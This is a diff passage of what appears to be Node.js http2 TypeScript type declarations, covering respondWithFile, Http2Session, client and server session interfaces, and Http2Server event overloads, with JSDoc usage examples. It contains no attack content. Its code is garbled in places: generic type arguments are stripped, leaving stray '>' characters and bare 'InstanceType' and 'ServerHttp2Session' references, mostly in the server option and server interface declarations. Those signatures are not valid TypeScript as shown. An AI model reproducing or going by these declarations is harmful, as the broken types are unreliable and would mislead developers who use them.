+ * stream.on('wantTrailers', () => { + * stream.sendTrailers({ ABC: 'some value to send' }); + * }); + * + * stream.on('close', () => fs.closeSync(fd)); + * }); + * ``` + * @since v8.4.0 + * @param fd A readable file descriptor. + */ + respondWithFD( + fd: number | fs.promises.FileHandle, + headers?: OutgoingHttpHeaders, + options?: ServerStreamFileResponseOptions, + ): void; + /** + * Sends a regular file as the response. The `path` must specify a regular file + * or an `'error'` event will be emitted on the `Http2Stream` object. + * + * When used, the `Http2Stream` object's `Duplex` interface will be closed + * automatically. + * + * The optional `options.statCheck` function may be specified to give user code + * an opportunity to set additional content headers based on the `fs.Stat` details + * of the given file: + * + * If an error occurs while attempting to read the file data, the `Http2Stream` will be closed using an + * `RST_STREAM` frame using the standard `INTERNAL_ERROR` code. + * If the `onError` callback is defined, then it will be called. Otherwise, the stream will be destroyed. + * + * Example using a file path: + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * function statCheck(stat, headers) { + * headers['last-modified'] = stat.mtime.toUTCString(); + * } + * + * function onError(err) { + * // stream.respond() can throw if the stream has been destroyed by + * // the other side. + * try { + * if (err.code === 'ENOENT') { + * stream.respond({ ':status': 404 }); + * } else { + * stream.respond({ ':status': 500 }); + * } + * } catch (err) { + * // Perform actual error handling. + * console.error(err); + * } + * stream.end(); + * } + * + * stream.respondWithFile('/some/file', + * { 'content-type': 'text/plain; charset=utf-8' }, + * { statCheck, onError }); + * }); + * ``` + * + * The `options.statCheck` function may also be used to cancel the send operation + * by returning `false`. For instance, a conditional request may check the stat + * results to determine if the file has been modified to return an appropriate `304` response: + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * function statCheck(stat, headers) { + * // Check the stat here... + * stream.respond({ ':status': 304 }); + * return false; // Cancel the send operation + * } + * stream.respondWithFile('/some/file', + * { 'content-type': 'text/plain; charset=utf-8' }, + * { statCheck }); + * }); + * ``` + * + * The `content-length` header field will be automatically set. + * + * The `offset` and `length` options may be used to limit the response to a + * specific range subset. This can be used, for instance, to support HTTP Range + * requests. + * + * The `options.onError` function may also be used to handle all the errors + * that could happen before the delivery of the file is initiated. The + * default behavior is to destroy the stream. + * + * When the `options.waitForTrailers` option is set, the `'wantTrailers'` event + * will be emitted immediately after queuing the last chunk of payload data to be + * sent. The `http2stream.sendTrailers()` method can then be used to sent trailing + * header fields to the peer. + * + * When `options.waitForTrailers` is set, the `Http2Stream` will not automatically + * close when the final `DATA` frame is transmitted. User code must call either`http2stream.sendTrailers()` or `http2stream.close()` to close the`Http2Stream`. + * + * ```js + * import http2 from 'node:http2'; + * const server = http2.createServer(); + * server.on('stream', (stream) => { + * stream.respondWithFile('/some/file', + * { 'content-type': 'text/plain; charset=utf-8' }, + * { waitForTrailers: true }); + * stream.on('wantTrailers', () => { + * stream.sendTrailers({ ABC: 'some value to send' }); + * }); + * }); + * ``` + * @since v8.4.0 + */ + respondWithFile( + path: string, + headers?: OutgoingHttpHeaders, + options?: ServerStreamFileResponseOptionsWithError, + ): void; + } + // Http2Session + export interface Settings { + headerTableSize?: number | undefined; + enablePush?: boolean | undefined; + initialWindowSize?: number | undefined; + maxFrameSize?: number | undefined; + maxConcurrentStreams?: number | undefined; + maxHeaderListSize?: number | undefined; + enableConnectProtocol?: boolean | undefined; + } + export interface ClientSessionRequestOptions { + endStream?: boolean | undefined; + exclusive?: boolean | undefined; + parent?: number | undefined; + weight?: number | undefined; + waitForTrailers?: boolean | undefined; + signal?: AbortSignal | undefined; + } + export interface SessionState { + effectiveLocalWindowSize?: number | undefined; + effectiveRecvDataLength?: number | undefined; + nextStreamID?: number | undefined; + localWindowSize?: number | undefined; + lastProcStreamID?: number | undefined; + remoteWindowSize?: number | undefined; + outboundQueueSize?: number | undefined; + deflateDynamicTableSize?: number | undefined; + inflateDynamicTableSize?: number | undefined; + } + export interface Http2Session extends EventEmitter { + /** + * Value will be `undefined` if the `Http2Session` is not yet connected to a + * socket, `h2c` if the `Http2Session` is not connected to a `TLSSocket`, or + * will return the value of the connected `TLSSocket`'s own `alpnProtocol` property. + * @since v9.4.0 + */ + readonly alpnProtocol?: string | undefined; + /** + * Will be `true` if this `Http2Session` instance has been closed, otherwise `false`. + * @since v9.4.0 + */ + readonly closed: boolean; + /** + * Will be `true` if this `Http2Session` instance is still connecting, will be set + * to `false` before emitting `connect` event and/or calling the `http2.connect` callback. + * @since v10.0.0 + */ + readonly connecting: boolean; + /** + * Will be `true` if this `Http2Session` instance has been destroyed and must no + * longer be used, otherwise `false`. + * @since v8.4.0 + */ + readonly destroyed: boolean; + /** + * Value is `undefined` if the `Http2Session` session socket has not yet been + * connected, `true` if the `Http2Session` is connected with a `TLSSocket`, + * and `false` if the `Http2Session` is connected to any other kind of socket + * or stream. + * @since v9.4.0 + */ + readonly encrypted?: boolean | undefined; + /** + * A prototype-less object describing the current local settings of this `Http2Session`. + * The local settings are local to _this_`Http2Session` instance. + * @since v8.4.0 + */ + readonly localSettings: Settings; + /** + * If the `Http2Session` is connected to a `TLSSocket`, the `originSet` property + * will return an `Array` of origins for which the `Http2Session` may be + * considered authoritative. + * + * The `originSet` property is only available when using a secure TLS connection. + * @since v9.4.0 + */ + readonly originSet?: string[] | undefined; + /** + * Indicates whether the `Http2Session` is currently waiting for acknowledgment of + * a sent `SETTINGS` frame. Will be `true` after calling the `http2session.settings()` method. + * Will be `false` once all sent `SETTINGS` frames have been acknowledged. + * @since v8.4.0 + */ + readonly pendingSettingsAck: boolean; + /** + * A prototype-less object describing the current remote settings of this`Http2Session`. + * The remote settings are set by the _connected_ HTTP/2 peer. + * @since v8.4.0 + */ + readonly remoteSettings: Settings; + /** + * Returns a `Proxy` object that acts as a `net.Socket` (or `tls.TLSSocket`) but + * limits available methods to ones safe to use with HTTP/2. + * + * `destroy`, `emit`, `end`, `pause`, `read`, `resume`, and `write` will throw + * an error with code `ERR_HTTP2_NO_SOCKET_MANIPULATION`. See `Http2Session and Sockets` for more information. + * + * `setTimeout` method will be called on this `Http2Session`. + * + * All other interactions will be routed directly to the socket. + * @since v8.4.0 + */ + readonly socket: net.Socket | tls.TLSSocket; + /** + * Provides miscellaneous information about the current state of the`Http2Session`. + * + * An object describing the current status of this `Http2Session`. + * @since v8.4.0 + */ + readonly state: SessionState; + /** + * The `http2session.type` will be equal to `http2.constants.NGHTTP2_SESSION_SERVER` if this `Http2Session` instance is a + * server, and `http2.constants.NGHTTP2_SESSION_CLIENT` if the instance is a + * client. + * @since v8.4.0 + */ + readonly type: number; + /** + * Gracefully closes the `Http2Session`, allowing any existing streams to + * complete on their own and preventing new `Http2Stream` instances from being + * created. Once closed, `http2session.destroy()`_might_ be called if there + * are no open `Http2Stream` instances. + * + * If specified, the `callback` function is registered as a handler for the`'close'` event. + * @since v9.4.0 + */ + close(callback?: () => void): void; + /** + * Immediately terminates the `Http2Session` and the associated `net.Socket` or `tls.TLSSocket`. + * + * Once destroyed, the `Http2Session` will emit the `'close'` event. If `error` is not undefined, an `'error'` event will be emitted immediately before the `'close'` event. + * + * If there are any remaining open `Http2Streams` associated with the `Http2Session`, those will also be destroyed. + * @since v8.4.0 + * @param error An `Error` object if the `Http2Session` is being destroyed due to an error. + * @param code The HTTP/2 error code to send in the final `GOAWAY` frame. If unspecified, and `error` is not undefined, the default is `INTERNAL_ERROR`, otherwise defaults to `NO_ERROR`. + */ + destroy(error?: Error, code?: number): void; + /** + * Transmits a `GOAWAY` frame to the connected peer _without_ shutting down the`Http2Session`. + * @since v9.4.0 + * @param code An HTTP/2 error code + * @param lastStreamID The numeric ID of the last processed `Http2Stream` + * @param opaqueData A `TypedArray` or `DataView` instance containing additional data to be carried within the `GOAWAY` frame. + */ + goaway(code?: number, lastStreamID?: number, opaqueData?: NodeJS.ArrayBufferView): void; + /** + * Sends a `PING` frame to the connected HTTP/2 peer. A `callback` function must + * be provided. The method will return `true` if the `PING` was sent, `false` otherwise. + * + * The maximum number of outstanding (unacknowledged) pings is determined by the `maxOutstandingPings` configuration option. The default maximum is 10. + * + * If provided, the `payload` must be a `Buffer`, `TypedArray`, or `DataView` containing 8 bytes of data that will be transmitted with the `PING` and + * returned with the ping acknowledgment. + * + * The callback will be invoked with three arguments: an error argument that will + * be `null` if the `PING` was successfully acknowledged, a `duration` argument + * that reports the number of milliseconds elapsed since the ping was sent and the + * acknowledgment was received, and a `Buffer` containing the 8-byte `PING` payload. + * + * ```js + * session.ping(Buffer.from('abcdefgh'), (err, duration, payload) => { + * if (!err) { + * console.log(`Ping acknowledged in ${duration} milliseconds`); + * console.log(`With payload '${payload.toString()}'`); + * } + * }); + * ``` + * + * If the `payload` argument is not specified, the default payload will be the + * 64-bit timestamp (little endian) marking the start of the `PING` duration. + * @since v8.9.3 + * @param payload Optional ping payload. + */ + ping(callback: (err: Error | null, duration: number, payload: Buffer) => void): boolean; + ping( + payload: NodeJS.ArrayBufferView, + callback: (err: Error | null, duration: number, payload: Buffer) => void, + ): boolean; + /** + * Calls `ref()` on this `Http2Session` instance's underlying `net.Socket`. + * @since v9.4.0 + */ + ref(): void; + /** + * Sets the local endpoint's window size. + * The `windowSize` is the total window size to set, not + * the delta. + * + * ```js + * import http2 from 'node:http2'; + * + * const server = http2.createServer(); + * const expectedWindowSize = 2 ** 20; + * server.on('connect', (session) => { + * + * // Set local window size to be 2 ** 20 + * session.setLocalWindowSize(expectedWindowSize); + * }); + * ``` + * @since v15.3.0, v14.18.0 + */ + setLocalWindowSize(windowSize: number): void; + /** + * Used to set a callback function that is called when there is no activity on + * the `Http2Session` after `msecs` milliseconds. The given `callback` is + * registered as a listener on the `'timeout'` event. + * @since v8.4.0 + */ + setTimeout(msecs: number, callback?: () => void): void; + /** + * Updates the current local settings for this `Http2Session` and sends a new `SETTINGS` frame to the connected HTTP/2 peer. + * + * Once called, the `http2session.pendingSettingsAck` property will be `true` while the session is waiting for the remote peer to acknowledge the new + * settings. + * + * The new settings will not become effective until the `SETTINGS` acknowledgment + * is received and the `'localSettings'` event is emitted. It is possible to send + * multiple `SETTINGS` frames while acknowledgment is still pending. + * @since v8.4.0 + * @param callback Callback that is called once the session is connected or right away if the session is already connected. + */ + settings( + settings: Settings, + callback?: (err: Error | null, settings: Settings, duration: number) => void, + ): void; + /** + * Calls `unref()` on this `Http2Session`instance's underlying `net.Socket`. + * @since v9.4.0 + */ + unref(): void; + addListener(event: "close", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener( + event: "frameError", + listener: (frameType: number, errorCode: number, streamID: number) => void, + ): this; + addListener( + event: "goaway", + listener: (errorCode: number, lastStreamID: number, opaqueData?: Buffer) => void, + ): this; + addListener(event: "localSettings", listener: (settings: Settings) => void): this; + addListener(event: "ping", listener: () => void): this; + addListener(event: "remoteSettings", listener: (settings: Settings) => void): this; + addListener(event: "timeout", listener: () => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "close"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "frameError", frameType: number, errorCode: number, streamID: number): boolean; + emit(event: "goaway", errorCode: number, lastStreamID: number, opaqueData?: Buffer): boolean; + emit(event: "localSettings", settings: Settings): boolean; + emit(event: "ping"): boolean; + emit(event: "remoteSettings", settings: Settings): boolean; + emit(event: "timeout"): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "close", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "frameError", listener: (frameType: number, errorCode: number, streamID: number) => void): this; + on(event: "goaway", listener: (errorCode: number, lastStreamID: number, opaqueData?: Buffer) => void): this; + on(event: "localSettings", listener: (settings: Settings) => void): this; + on(event: "ping", listener: () => void): this; + on(event: "remoteSettings", listener: (settings: Settings) => void): this; + on(event: "timeout", listener: () => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "frameError", listener: (frameType: number, errorCode: number, streamID: number) => void): this; + once(event: "goaway", listener: (errorCode: number, lastStreamID: number, opaqueData?: Buffer) => void): this; + once(event: "localSettings", listener: (settings: Settings) => void): this; + once(event: "ping", listener: () => void): this; + once(event: "remoteSettings", listener: (settings: Settings) => void): this; + once(event: "timeout", listener: () => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener( + event: "frameError", + listener: (frameType: number, errorCode: number, streamID: number) => void, + ): this; + prependListener( + event: "goaway", + listener: (errorCode: number, lastStreamID: number, opaqueData?: Buffer) => void, + ): this; + prependListener(event: "localSettings", listener: (settings: Settings) => void): this; + prependListener(event: "ping", listener: () => void): this; + prependListener(event: "remoteSettings", listener: (settings: Settings) => void): this; + prependListener(event: "timeout", listener: () => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener( + event: "frameError", + listener: (frameType: number, errorCode: number, streamID: number) => void, + ): this; + prependOnceListener( + event: "goaway", + listener: (errorCode: number, lastStreamID: number, opaqueData?: Buffer) => void, + ): this; + prependOnceListener(event: "localSettings", listener: (settings: Settings) => void): this; + prependOnceListener(event: "ping", listener: () => void): this; + prependOnceListener(event: "remoteSettings", listener: (settings: Settings) => void): this; + prependOnceListener(event: "timeout", listener: () => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + export interface ClientHttp2Session extends Http2Session { + /** + * For HTTP/2 Client `Http2Session` instances only, the `http2session.request()` creates and returns an `Http2Stream` instance that can be used to send an + * HTTP/2 request to the connected server. + * + * When a `ClientHttp2Session` is first created, the socket may not yet be + * connected. if `clienthttp2session.request()` is called during this time, the + * actual request will be deferred until the socket is ready to go. + * If the `session` is closed before the actual request be executed, an `ERR_HTTP2_GOAWAY_SESSION` is thrown. + * + * This method is only available if `http2session.type` is equal to `http2.constants.NGHTTP2_SESSION_CLIENT`. + * + * ```js + * import http2 from 'node:http2'; + * const clientSession = http2.connect('https://localhost:1234'); + * const { + * HTTP2_HEADER_PATH, + * HTTP2_HEADER_STATUS, + * } = http2.constants; + * + * const req = clientSession.request({ [HTTP2_HEADER_PATH]: '/' }); + * req.on('response', (headers) => { + * console.log(headers[HTTP2_HEADER_STATUS]); + * req.on('data', (chunk) => { // .. }); + * req.on('end', () => { // .. }); + * }); + * ``` + * + * When the `options.waitForTrailers` option is set, the `'wantTrailers'` event + * is emitted immediately after queuing the last chunk of payload data to be sent. + * The `http2stream.sendTrailers()` method can then be called to send trailing + * headers to the peer. + * + * When `options.waitForTrailers` is set, the `Http2Stream` will not automatically + * close when the final `DATA` frame is transmitted. User code must call either`http2stream.sendTrailers()` or `http2stream.close()` to close the`Http2Stream`. + * + * When `options.signal` is set with an `AbortSignal` and then `abort` on the + * corresponding `AbortController` is called, the request will emit an `'error'`event with an `AbortError` error. + * + * The `:method` and `:path` pseudo-headers are not specified within `headers`, + * they respectively default to: + * + * * `:method` \= `'GET'` + * * `:path` \= `/` + * @since v8.4.0 + */ + request(headers?: OutgoingHttpHeaders, options?: ClientSessionRequestOptions): ClientHttp2Stream; + addListener(event: "altsvc", listener: (alt: string, origin: string, stream: number) => void): this; + addListener(event: "origin", listener: (origins: string[]) => void): this; + addListener( + event: "connect", + listener: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void, + ): this; + addListener( + event: "stream", + listener: ( + stream: ClientHttp2Stream, + headers: IncomingHttpHeaders & IncomingHttpStatusHeader, + flags: number, + ) => void, + ): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit(event: "altsvc", alt: string, origin: string, stream: number): boolean; + emit(event: "origin", origins: readonly string[]): boolean; + emit(event: "connect", session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket): boolean; + emit( + event: "stream", + stream: ClientHttp2Stream, + headers: IncomingHttpHeaders & IncomingHttpStatusHeader, + flags: number, + ): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "altsvc", listener: (alt: string, origin: string, stream: number) => void): this; + on(event: "origin", listener: (origins: string[]) => void): this; + on(event: "connect", listener: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void): this; + on( + event: "stream", + listener: ( + stream: ClientHttp2Stream, + headers: IncomingHttpHeaders & IncomingHttpStatusHeader, + flags: number, + ) => void, + ): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "altsvc", listener: (alt: string, origin: string, stream: number) => void): this; + once(event: "origin", listener: (origins: string[]) => void): this; + once( + event: "connect", + listener: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void, + ): this; + once( + event: "stream", + listener: ( + stream: ClientHttp2Stream, + headers: IncomingHttpHeaders & IncomingHttpStatusHeader, + flags: number, + ) => void, + ): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "altsvc", listener: (alt: string, origin: string, stream: number) => void): this; + prependListener(event: "origin", listener: (origins: string[]) => void): this; + prependListener( + event: "connect", + listener: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void, + ): this; + prependListener( + event: "stream", + listener: ( + stream: ClientHttp2Stream, + headers: IncomingHttpHeaders & IncomingHttpStatusHeader, + flags: number, + ) => void, + ): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "altsvc", listener: (alt: string, origin: string, stream: number) => void): this; + prependOnceListener(event: "origin", listener: (origins: string[]) => void): this; + prependOnceListener( + event: "connect", + listener: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void, + ): this; + prependOnceListener( + event: "stream", + listener: ( + stream: ClientHttp2Stream, + headers: IncomingHttpHeaders & IncomingHttpStatusHeader, + flags: number, + ) => void, + ): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + export interface AlternativeServiceOptions { + origin: number | string | url.URL; + } + export interface ServerHttp2Session< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends Http2Session { + readonly server: + | Http2Server + | Http2SecureServer; + /** + * Submits an `ALTSVC` frame (as defined by [RFC 7838](https://tools.ietf.org/html/rfc7838)) to the connected client. + * + * ```js + * import http2 from 'node:http2'; + * + * const server = http2.createServer(); + * server.on('session', (session) => { + * // Set altsvc for origin https://example.org:80 + * session.altsvc('h2=":8000"', 'https://example.org:80'); + * }); + * + * server.on('stream', (stream) => { + * // Set altsvc for a specific stream + * stream.session.altsvc('h2=":8000"', stream.id); + * }); + * ``` + * + * Sending an `ALTSVC` frame with a specific stream ID indicates that the alternate + * service is associated with the origin of the given `Http2Stream`. + * + * The `alt` and origin string _must_ contain only ASCII bytes and are + * strictly interpreted as a sequence of ASCII bytes. The special value `'clear'`may be passed to clear any previously set alternative service for a given + * domain. + * + * When a string is passed for the `originOrStream` argument, it will be parsed as + * a URL and the origin will be derived. For instance, the origin for the + * HTTP URL `'https://example.org/foo/bar'` is the ASCII string`'https://example.org'`. An error will be thrown if either the given string + * cannot be parsed as a URL or if a valid origin cannot be derived. + * + * A `URL` object, or any object with an `origin` property, may be passed as`originOrStream`, in which case the value of the `origin` property will be + * used. The value of the `origin` property _must_ be a properly serialized + * ASCII origin. + * @since v9.4.0 + * @param alt A description of the alternative service configuration as defined by `RFC 7838`. + * @param originOrStream Either a URL string specifying the origin (or an `Object` with an `origin` property) or the numeric identifier of an active `Http2Stream` as given by the + * `http2stream.id` property. + */ + altsvc(alt: string, originOrStream: number | string | url.URL | AlternativeServiceOptions): void; + /** + * Submits an `ORIGIN` frame (as defined by [RFC 8336](https://tools.ietf.org/html/rfc8336)) to the connected client + * to advertise the set of origins for which the server is capable of providing + * authoritative responses. + * + * ```js + * import http2 from 'node:http2'; + * const options = getSecureOptionsSomehow(); + * const server = http2.createSecureServer(options); + * server.on('stream', (stream) => { + * stream.respond(); + * stream.end('ok'); + * }); + * server.on('session', (session) => { + * session.origin('https://example.com', 'https://example.org'); + * }); + * ``` + * + * When a string is passed as an `origin`, it will be parsed as a URL and the + * origin will be derived. For instance, the origin for the HTTP URL `'https://example.org/foo/bar'` is the ASCII string` 'https://example.org'`. An error will be thrown if either the given + * string + * cannot be parsed as a URL or if a valid origin cannot be derived. + * + * A `URL` object, or any object with an `origin` property, may be passed as + * an `origin`, in which case the value of the `origin` property will be + * used. The value of the `origin` property _must_ be a properly serialized + * ASCII origin. + * + * Alternatively, the `origins` option may be used when creating a new HTTP/2 + * server using the `http2.createSecureServer()` method: + * + * ```js + * import http2 from 'node:http2'; + * const options = getSecureOptionsSomehow(); + * options.origins = ['https://example.com', 'https://example.org']; + * const server = http2.createSecureServer(options); + * server.on('stream', (stream) => { + * stream.respond(); + * stream.end('ok'); + * }); + * ``` + * @since v10.12.0 + * @param origins One or more URL Strings passed as separate arguments. + */ + origin( + ...origins: Array< + | string + | url.URL + | { + origin: string; + } + > + ): void; + addListener( + event: "connect", + listener: ( + session: ServerHttp2Session, + socket: net.Socket | tls.TLSSocket, + ) => void, + ): this; + addListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit( + event: "connect", + session: ServerHttp2Session, + socket: net.Socket | tls.TLSSocket, + ): boolean; + emit(event: "stream", stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on( + event: "connect", + listener: ( + session: ServerHttp2Session, + socket: net.Socket | tls.TLSSocket, + ) => void, + ): this; + on( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once( + event: "connect", + listener: ( + session: ServerHttp2Session, + socket: net.Socket | tls.TLSSocket, + ) => void, + ): this; + once( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener( + event: "connect", + listener: ( + session: ServerHttp2Session, + socket: net.Socket | tls.TLSSocket, + ) => void, + ): this; + prependListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener( + event: "connect", + listener: ( + session: ServerHttp2Session, + socket: net.Socket | tls.TLSSocket, + ) => void, + ): this; + prependOnceListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + // Http2Server + export interface SessionOptions { + maxDeflateDynamicTableSize?: number | undefined; + maxSessionMemory?: number | undefined; + maxHeaderListPairs?: number | undefined; + maxOutstandingPings?: number | undefined; + maxSendHeaderBlockLength?: number | undefined; + paddingStrategy?: number | undefined; + peerMaxConcurrentStreams?: number | undefined; + settings?: Settings | undefined; + remoteCustomSettings?: number[] | undefined; + /** + * Specifies a timeout in milliseconds that + * a server should wait when an [`'unknownProtocol'`][] is emitted. If the + * socket has not been destroyed by that time the server will destroy it. + * @default 100000 + */ + unknownProtocolTimeout?: number | undefined; + selectPadding?(frameLen: number, maxFrameLen: number): number; + } + export interface ClientSessionOptions extends SessionOptions { + maxReservedRemoteStreams?: number | undefined; + createConnection?: ((authority: url.URL, option: SessionOptions) => stream.Duplex) | undefined; + protocol?: "http:" | "https:" | undefined; + } + export interface ServerSessionOptions< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends SessionOptions { + Http1IncomingMessage?: Http1Request | undefined; + Http1ServerResponse?: Http1Response | undefined; + Http2ServerRequest?: Http2Request | undefined; + Http2ServerResponse?: Http2Response | undefined; + } + export interface SecureClientSessionOptions extends ClientSessionOptions, tls.ConnectionOptions {} + export interface SecureServerSessionOptions< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends ServerSessionOptions, tls.TlsOptions {} + export interface ServerOptions< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends ServerSessionOptions {} + export interface SecureServerOptions< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends SecureServerSessionOptions { + allowHTTP1?: boolean | undefined; + origins?: string[] | undefined; + } + interface HTTP2ServerCommon { + setTimeout(msec?: number, callback?: () => void): this; + /** + * Throws ERR_HTTP2_INVALID_SETTING_VALUE for invalid settings values. + * Throws ERR_INVALID_ARG_TYPE for invalid settings argument. + */ + updateSettings(settings: Settings): void; + } + export interface Http2Server< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends net.Server, HTTP2ServerCommon { + addListener( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + addListener( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + addListener( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + addListener(event: "sessionError", listener: (err: Error) => void): this; + addListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + addListener(event: "timeout", listener: () => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + emit( + event: "checkContinue", + request: InstanceType, + response: InstanceType, + ): boolean; + emit(event: "request", request: InstanceType, response: InstanceType): boolean; + emit( + event: "session", + session: ServerHttp2Session, + ): boolean; + emit(event: "sessionError", err: Error): boolean; + emit(event: "stream", stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number): boolean; + emit(event: "timeout"): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + on( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + on( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + on(event: "sessionError", listener: (err: Error) => void): this; + on( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + on(event: "timeout", listener: () => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + once( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + once( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + once(event: "sessionError", listener: (err: Error) => void): this; + once( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + once(event: "timeout", listener: () => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependListener( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependListener( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + prependListener(event: "sessionError", listener: (err: Error) => void): this; + prependListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + prependListener(event: "timeout", listener: () => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependOnceListener( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + prependOnceListener( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + prependOnceListener(event: "sessionError", listener: (err: Error) => void): this; + prependOnceListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + prependOnceListener(event: "timeout", listener: () => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + export interface Http2SecureServer< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + > extends tls.Server, HTTP2ServerCommon { + addListener( + event: "checkContinue", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + addListener( + event: "request", + listener: (request: InstanceType, response: InstanceType) => void, + ): this; + addListener( + event: "session", + listener: (session: ServerHttp2Session) => void, + ): this; + addListener(event: "sessionError", listener: (err: Error) => void): this; + addListener( + event: "stream", + listener: (stream: ServerHttp2Stream, headers: IncomingHttpHeaders, flags: number) => void, + ): this; + addListener(event: "timeout", listener: () => void): this; + addListener(event: "unknownProtocol", listener: (socket: tls.TLSSocket) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; 